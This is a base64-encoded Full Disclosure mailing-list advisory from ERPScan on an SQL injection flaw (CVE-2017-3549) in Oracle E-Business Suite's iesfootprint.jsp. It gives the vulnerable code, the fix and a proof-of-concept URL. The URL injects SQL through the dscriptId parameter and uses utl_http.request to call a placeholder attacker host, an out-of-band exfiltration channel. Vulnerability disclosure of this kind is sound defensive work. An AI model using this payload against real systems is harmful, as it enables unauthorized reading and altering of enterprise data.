[ERPSCAN-17-021] SQL Injection in E-Business Suite IESFOOTPRINT
ERPScan inc <[email protected]> Thu, 20 Apr 2017 18:25:31 +0300
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.news.securitytracker,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <CANHWe93JQEAAmJ3c-4uknOpMxhf6Jh2YU+XNFnkh1jDqq4F2ow@mail.gmail.com> |
QXBwbGljYXRpb246IE9yYWNsZSBFLUJ1c2luZXNzIFN1aXRlClZlcnNpb25zIEFmZmVjdGVkOiBP cmFjbGUgRUJTIDEyLjIuMwpWZW5kb3IgVVJMOiBodHRwOi8vb3JhY2xlLmNvbQpCdWc6IFNRTCBp bmplY3Rpb24KUmVwb3J0ZWQ6IDIzLjEyLjIwMTYKVmVuZG9yIHJlc3BvbnNlOiAyNC4xMi4yMDE2 CkRhdGUgb2YgUHVibGljIEFkdmlzb3J5OiAxOC4wNC4yMDE3ClJlZmVyZW5jZTogT3JhY2xlIENQ VSBBcHJpbCAyMDE3CkF1dGhvcjogRG1pdHJ5IENoYXN0dWhpbiAoRVJQU2NhbikKCkRlc2NyaXB0 aW9uCgoxLiBBRFZJU09SWSBJTkZPUk1BVElPTgoKVGl0bGU6W0VSUFNDQU4tMTctMDIxXSBTUUwg SW5qZWN0aW9uIGluIEUtQnVzaW5lc3MgU3VpdGUgSUVTRk9PVFBSSU5UCkFkdmlzb3J5IElEOiBb RVJQU0NBTi0xNy0wMjFdClJpc2s6IGhpZ2gKQ1ZFOiBDVkUtMjAxNy0zNTQ5CkFkdmlzb3J5IFVS TDogaHR0cHM6Ly9lcnBzY2FuLmNvbS9hZHZpc29yaWVzL2VycHNjYW4tMTctMDIxLXNxbC1pbmpl Y3Rpb24tZS1idXNpbmVzcy1zdWl0ZS1pZXNmb290cHJpbnQvCkRhdGUgcHVibGlzaGVkOiAxOC4w NC4yMDE3ClZlbmRvcnMgY29udGFjdGVkOiBPcmFjbGUKCgoyLiBWVUxORVJBQklMSVRZIElORk9S TUFUSU9OCgpDbGFzczogU1FMIGluamVjdGlvbgpJbXBhY3Q6IHJlYWQgc2Vuc2l0aXZlIGRhdGEs IG1vZGlmeSBkYXRhIGZyb20gZGF0YWJhc2UKUmVtb3RlbHkgRXhwbG9pdGFibGU6IHllcwpMb2Nh bGx5IEV4cGxvaXRhYmxlOiBubwoKQ1ZTUyBJbmZvcm1hdGlvbgoKQ1ZTUyBCYXNlIFNjb3JlIHYz OiAgICA4LjAgLyAxMApDVlNTIEJhc2UgVmVjdG9yOgpBViA6IEF0dGFjayBWZWN0b3IgKFJlbGF0 ZWQgZXhwbG9pdCByYW5nZSkgTmV0d29yayAoTikKQUMgOiBBdHRhY2sgQ29tcGxleGl0eSAoUmVx dWlyZWQgYXR0YWNrIGNvbXBsZXhpdHkpIEhpZ2ggKEgpClBSIDogUHJpdmlsZWdlcyBSZXF1aXJl ZCAoTGV2ZWwgb2YgcHJpdmlsZWdlcyBuZWVkZWQgdG8gZXhwbG9pdCkgSGlnaCAoSCkKVUkgOiBV c2VyIEludGVyYWN0aW9uIChSZXF1aXJlZCB1c2VyIHBhcnRpY2lwYXRpb24pIE5vbmUgKE4pClMg OiBTY29wZSAoQ2hhbmdlIGluIHNjb3BlIGR1ZSB0byBpbXBhY3QgY2F1c2VkIHRvIGNvbXBvbmVu dHMgYmV5b25kCnRoZSB2dWxuZXJhYmxlIGNvbXBvbmVudCkgQ2hhbmdlZCAoQykKQyA6IEltcGFj dCB0byBDb25maWRlbnRpYWxpdHkgSGlnaCAoSCkKSSA6IEltcGFjdCB0byBJbnRlZ3JpdHkgSGln aCAoSCkKQSA6IEltcGFjdCB0byBBdmFpbGFiaWxpdHkgSGlnaCAoSCkKCjMuIFZVTE5FUkFCSUxJ VFkgREVTQ1JJUFRJT04KClRoZSBjb2RlIGNvbXByaXNlcyBhbiBTUUwgc3RhdGVtZW50IGNvbnRh aW5pbmcgc3RyaW5ncyB0aGF0IGNhbiBiZQphbHRlcmVkIGJ5IGFuIGF0dGFja2VyLiBUaGUgbWFu aXB1bGF0ZWQgU1FMIHN0YXRlbWVudCBjYW4gYmUgdXNlZCB0aGVuCnRvIHJldHJpZXZlIGFkZGl0 aW9uYWwgZGF0YSBmcm9tIHRoZSBkYXRhYmFzZSBvciB0byBtb2RpZnkgdGhlIGRhdGEKd2l0aG91 dCBhdXRob3JpemF0aW9uLgoKNC4gVlVMTkVSQUJMRSBQQUNLQUdFUwoKT3JhY2xlIEVCUyAxMi4y LjMKCjUuIFNPTFVUSU9OUyBBTkQgV09SS0FST1VORFMKClRvIGNvcnJlY3QgdGhpcyB2dWxuZXJh YmlsaXR5LCBpbXBsZW1lbnQgT3JhY2xlIENQVSBBcHJpbCAyMDE3Cgo2LiBBVVRIT1IKCkRtaXRy eSBDaGFzdHVoaW4KCgo3LiBURUNITklDQUwgREVTQ1JJUFRJT04KClBvQwoKdnVsbmVyYWJsZSBq c3AgbmFtZSBpcyAgaWVzZm9vdHByaW50LmpzcAoKIGRlcGxveURhdGUgPSAoKHJlcXVlc3QuZ2V0 UGFyYW1ldGVyKCJkZXBsb3lEYXRlIikpICE9IG51bGwpID8KcmVxdWVzdC5nZXRQYXJhbWV0ZXIo ImRlcGxveURhdGUiKSA6ICIiOwogIHJlc3BvbnNlRGF0ZSA9ICgocmVxdWVzdC5nZXRQYXJhbWV0 ZXIoInJlc3BvbnNlRGF0ZSIpKSAhPSBudWxsKSA/CnJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJyZXNw b25zZURhdGUiKSA6ICIiOwogIGRzY3JpcHROYW1lID0gKChyZXF1ZXN0LmdldFBhcmFtZXRlcigi ZHNjcmlwdF9uYW1lIikpICE9IG51bGwpID8KcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImRzY3JpcHRf bmFtZSIpIDogIiI7CiAgZHNjcmlwdElkID0gKChyZXF1ZXN0LmdldFBhcmFtZXRlcigiZHNjcmlw dElkIikpICE9IG51bGwpID8KcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImRzY3JpcHRJZCIpIDogIiI7 CiU+Cgo8JQovLyBQcm9jZXNzIHRoZSBkYXRhIGJhc2VkIG9uIHBhcmFtcwppZiAoc2hvd0dyYXBo KSB7CiAgIC8vIENyZWF0ZSBRdWVyeSBTdHJpbmcKICAgU3RyaW5nQnVmZmVyIHF1ZXJ5ID0gbmV3 IFN0cmluZ0J1ZmZlcigiU0VMRUNUIHBhbmVsX25hbWUsCmNvdW50X3BhbmVscywgYXZnX3RpbWUs IG1pbl90aW1lLCBtYXhfdGltZSwgIik7CiAgIHF1ZXJ5LmFwcGVuZCgiXCciKS5hcHBlbmQoX3By b21wdHNbMTBdKS5hcHBlbmQoIlwnIik7CiAgIHF1ZXJ5LmFwcGVuZCgiIEF2ZXJhZ2VfVGltZSBG Uk9NIChTRUxFQ1Qgcm93bnVtLCBwYW5lbF9uYW1lLApjb3VudF9wYW5lbHMsIGF2Z190aW1lLCBt aW5fdGltZSwgbWF4X3RpbWUgRlJPTSAoU0VMRUNUIFBhbmVsX25hbWUsCmNvdW50KHBhbmVsX25h bWUpIGNvdW50X3BhbmVscywKKHN1bSh0b3RhbF90aW1lKS9jb3VudChwYW5lbF9uYW1lKSkvMTAw MCBhdmdfdGltZSwgbWluKG1pbl90aW1lKS8xMDAwCm1pbl90aW1lLCBtYXgobWF4X3RpbWUpLzEw MDAgbWF4X3RpbWUgRlJPTSBJRVNfU1ZZX0ZPT1RQUklOVF9WIFdIRVJFCmRzY3JpcHRfaWQgPSAi KTsKICAgcXVlcnkuYXBwZW5kKGRzY3JpcHRJZCk7CiAgIHF1ZXJ5LmFwcGVuZCgiIEFORCBzdGFy dF90aW1lIGJldHdlZW4gIik7CiAgIHF1ZXJ5LmFwcGVuZCgiXCciKS5hcHBlbmQoZGVwbG95RGF0 ZSkuYXBwZW5kKCJcJyIpOwogICBxdWVyeS5hcHBlbmQoIiBhbmQgIik7CiAgIHF1ZXJ5LmFwcGVu ZCgiXCciKS5hcHBlbmQocmVzcG9uc2VEYXRlKS5hcHBlbmQoIlwnIik7CiAgIHF1ZXJ5LmFwcGVu ZCgiIEdST1VQIEJZIHBhbmVsX25hbWUgT1JERVIgQlkgYXZnX3RpbWUgZGVzYykpIFdIRVJFCnJv d251bSA8IDExIik7CgoKCiAgIC8vIEdldCBYTUxEb2N1bWVudCBmb3IgdGhlIGNvcnJlc3BvbmRp bmcgcXVlcnkgYW5kIFBhaW50IGdyYXBoCiAgIHRyeSB7CgogICAgICAgWE1MRG9jdW1lbnQgeG1s RG9jID0gWE1MU2Vydi5nZXRTUUxhc1hNTChxdWVyeS50b1N0cmluZygpKTsKICAgICAgIGh0bWxT dHJpbmcgPVhNTFNlcnYuZ2V0WE1MVHJhbnNmb3JtKHhtbERvYyxodG1sVVJMKTsKCkFwcHJveGlt YXRlIHJlcXVlc3Qgd2l0aCBTUUwgaW5qZWN0aW9uCgoKaHR0cDovL2Vicy5leGFtcGxlLmNvbS9P QV9IVE1ML2llc2Zvb3RwcmludC5qc3A/c2hvd2dyYXBoPXRydWUmZHNjcmlwdElkPTExJwpBTkQg dXRsX2h0dHAucmVxdWVzdCgnaHR0cDovL2F0dGFja2Vyc19ob3N0L2xhbGFsJyk9JzEnIEdST1VQ IEJZCnBhbmVsX25hbWUpKSAtLQoKCgoKCjguIEFCT1VUIEVSUFNjYW4gUmVzZWFyY2gKCkVSUFNj YW4gcmVzZWFyY2ggdGVhbSBzcGVjaWFsaXplcyBpbiB2dWxuZXJhYmlsaXR5IHJlc2VhcmNoIGFu ZAphbmFseXNpcyBvZiBjcml0aWNhbCBlbnRlcnByaXNlIGFwcGxpY2F0aW9ucy4gSXQgd2FzIGFj a25vd2xlZGdlZAptdWx0aXBsZSB0aW1lcyBieSB0aGUgbGFyZ2VzdCBzb2Z0d2FyZSB2ZW5kb3Jz IGxpa2UgU0FQLCBPcmFjbGUsCk1pY3Jvc29mdCwgSUJNLCBWTXdhcmUsIEhQIGZvciBkaXNjb3Zl cmluZyBtb3JlIHRoYW4gNDAwCnZ1bG5lcmFiaWxpdGllcyBpbiB0aGVpciBzb2x1dGlvbnMgKDIw MCBvZiB0aGVtIGp1c3QgaW4gU0FQISkuCgpFUlBTY2FuIHJlc2VhcmNoZXJzIGFyZSBwcm91ZCBv ZiBkaXNjb3ZlcmluZyBuZXcgdHlwZXMgb2YKdnVsbmVyYWJpbGl0aWVzIChUT1AgMTAgV2ViIEhh Y2tpbmcgVGVjaG5pcXVlcyAyMDEyKSBhbmQgb2YgdGhlICJUaGUKQmVzdCBTZXJ2ZXItU2lkZSBC dWciIG5vbWluYXRpb24gYXQgQmxhY2tIYXQgMjAxMy4KCkVSUFNjYW4gZXhwZXJ0cyBwYXJ0aWNp cGF0ZWQgYXMgc3BlYWtlcnMsIHByZXNlbnRlcnMsIGFuZCB0cmFpbmVycyBhdAo2MCsgcHJpbWUg aW50ZXJuYXRpb25hbCBzZWN1cml0eSBjb25mZXJlbmNlcyBpbiAyNSsgY291bnRyaWVzIGFjcm9z cwp0aGUgY29udGluZW50cyAoIGUuZy4gQmxhY2tIYXQsIFJTQSwgSElUQikgYW5kIGNvbmR1Y3Rl ZCBwcml2YXRlCnRyYWluaW5ncyBmb3Igc2V2ZXJhbCBGb3J0dW5lIDIwMDAgY29tcGFuaWVzLgoK RVJQU2NhbiByZXNlYXJjaGVycyBjYXJyeSBvdXQgdGhlIEVBUy1TRUMgcHJvamVjdCB0aGF0IGlz IGZvY3VzZWQgb24KZW50ZXJwcmlzZSBhcHBsaWNhdGlvbiBzZWN1cml0eSBhd2FyZW5lc3MgYnkg aXNzdWluZyBhbm51YWwgU0FQCnNlY3VyaXR5IHJlc2VhcmNoZXMuCgpFUlBTY2FuIGV4cGVydHMg d2VyZSBpbnRlcnZpZXdlZCBpbiBzcGVjaWFsaXplZCBpbmZvLXNlYyByZXNvdXJjZXMgYW5kCmZl YXR1cmVkIGluIG1ham9yIG1lZGlhIHdvcmxkd2lkZS4gQW1vbmcgdGhlbSB0aGVyZSBhcmUgUmV1 dGVycywKWWFob28sIFNDIE1hZ2F6aW5lLCBUaGUgUmVnaXN0ZXIsIENJTywgUEMgV29ybGQsIERh cmtSZWFkaW5nLCBIZWlzZSwKQ2hpbmFieXRlLCBldGMuCgpPdXIgdGVhbSBjb25zaXN0cyBvZiBo aWdobHktcXVhbGlmaWVkIHJlc2VhcmNoZXJzLCBzcGVjaWFsaXplZCBpbgp2YXJpb3VzIGZpZWxk cyBvZiBjeWJlcnNlY3VyaXR5IChmcm9tIHdlYiBhcHBsaWNhdGlvbiB0byBJQ1MvU0NBREEKc3lz dGVtcyksIGdhdGhlcmluZyB0aGVpciBleHBlcmllbmNlIHRvIGNvbmR1Y3QgdGhlIGJlc3QgU0FQ IHNlY3VyaXR5CnJlc2VhcmNoLgoKOS4gQUJPVVQgRVJQU2NhbgoKRVJQU2NhbiBpcyB0aGUgbW9z dCByZXNwZWN0ZWQgYW5kIGNyZWRpYmxlIEJ1c2luZXNzIEFwcGxpY2F0aW9uCkN5YmVyc2VjdXJp dHkgcHJvdmlkZXIuIEZvdW5kZWQgaW4gMjAxMCwgdGhlIGNvbXBhbnkgb3BlcmF0ZXMgZ2xvYmFs bHkKYW5kIGVuYWJsZXMgbGFyZ2UgT2lsIGFuZCBHYXMsIEZpbmFuY2lhbCwgUmV0YWlsIGFuZCBv dGhlcgpvcmdhbml6YXRpb25zIHRvIHNlY3VyZSB0aGVpciBtaXNzaW9uLWNyaXRpY2FsIHByb2Nl c3Nlcy4gTmFtZWQgYXMgYW4K4oCYRW1lcmdpbmcgVmVuZG9y4oCZIGluIFNlY3VyaXR5IGJ5IENS TiwgbGlzdGVkIGFtb25nIOKAnFRPUCAxMDAgU0FQClNvbHV0aW9uIHByb3ZpZGVyc+KAnSBhbmQg ZGlzdGluZ3Vpc2hlZCBieSAzMCsgb3RoZXIgYXdhcmRzLCBFUlBTY2FuIGlzCnRoZSBsZWFkaW5n IFNBUCBTRSBwYXJ0bmVyIGluIGRpc2NvdmVyaW5nIGFuZCByZXNvbHZpbmcgc2VjdXJpdHkKdnVs bmVyYWJpbGl0aWVzLiBFUlBTY2FuIGNvbnN1bHRhbnRzIHdvcmsgd2l0aCBTQVAgU0UgaW4gV2Fs bGRvcmYgdG8KYXNzaXN0IGluIGltcHJvdmluZyB0aGUgc2VjdXJpdHkgb2YgdGhlaXIgbGF0ZXN0 IHNvbHV0aW9ucy4KCkVSUFNjYW7igJlzIHByaW1hcnkgbWlzc2lvbiBpcyB0byBjbG9zZSB0aGUg Z2FwIGJldHdlZW4gdGVjaG5pY2FsIGFuZApidXNpbmVzcyBzZWN1cml0eSwgYW5kIHByb3ZpZGUg c29sdXRpb25zIGZvciBDSVNPJ3MgdG8gZXZhbHVhdGUgYW5kCnNlY3VyZSBTQVAgYW5kIE9yYWNs ZSBFUlAgc3lzdGVtcyBhbmQgYnVzaW5lc3MtY3JpdGljYWwgYXBwbGljYXRpb25zCmZyb20gYm90 aCBjeWJlcmF0dGFja3MgYW5kIGludGVybmFsIGZyYXVkLiBBcyBhIHJ1bGUsIG91ciBjbGllbnRz IGFyZQpsYXJnZSBlbnRlcnByaXNlcywgRm9ydHVuZSAyMDAwIGNvbXBhbmllcyBhbmQgTVNQcywg d2hvc2UgcmVxdWlyZW1lbnRzCmFyZSB0byBhY3RpdmVseSBtb25pdG9yIGFuZCBtYW5hZ2Ugc2Vj dXJpdHkgb2YgdmFzdCBTQVAgYW5kIE9yYWNsZQpsYW5kc2NhcGVzIG9uIGEgZ2xvYmFsIHNjYWxl LgoKV2Ug4oCYZm9sbG93IHRoZSBzdW7igJkgYW5kIGhhdmUgdHdvIGh1YnMsIGxvY2F0ZWQgaW4g UGFsbyBBbHRvIGFuZApBbXN0ZXJkYW0sIHRvIHByb3ZpZGUgdGhyZWF0IGludGVsbGlnZW5jZSBz ZXJ2aWNlcywgY29udGludW91cyBzdXBwb3J0CmFuZCB0byBvcGVyYXRlIGxvY2FsIG9mZmljZXMg YW5kIHBhcnRuZXIgbmV0d29yayBzcGFubmluZyAyMCsKY291bnRyaWVzIGFyb3VuZCB0aGUgZ2xv YmUuCgoKCgpBZGRyZXNzIFVTQTogMjI4IEhhbWlsdG9uIEF2ZW51ZSwgRmwuIDMsIFBhbG8gQWx0 bywgQ0EuIDk0MzAxCgpQaG9uZTogNjUwLjc5OC41MjU1CgpUd2l0dGVyOiBAZXJwc2NhbgoKU2Nv b3AtaXQ6IEJ1c2luZXNzIEFwcGxpY2F0aW9uIFNlY3VyaXR5CgpfX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50IHRocm91Z2ggdGhlIEZ1bGwgRGlzY2xv c3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxk aXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDovL3NlY2xpc3RzLm9yZy9mdWxsZGlz Y2xvc3VyZS8=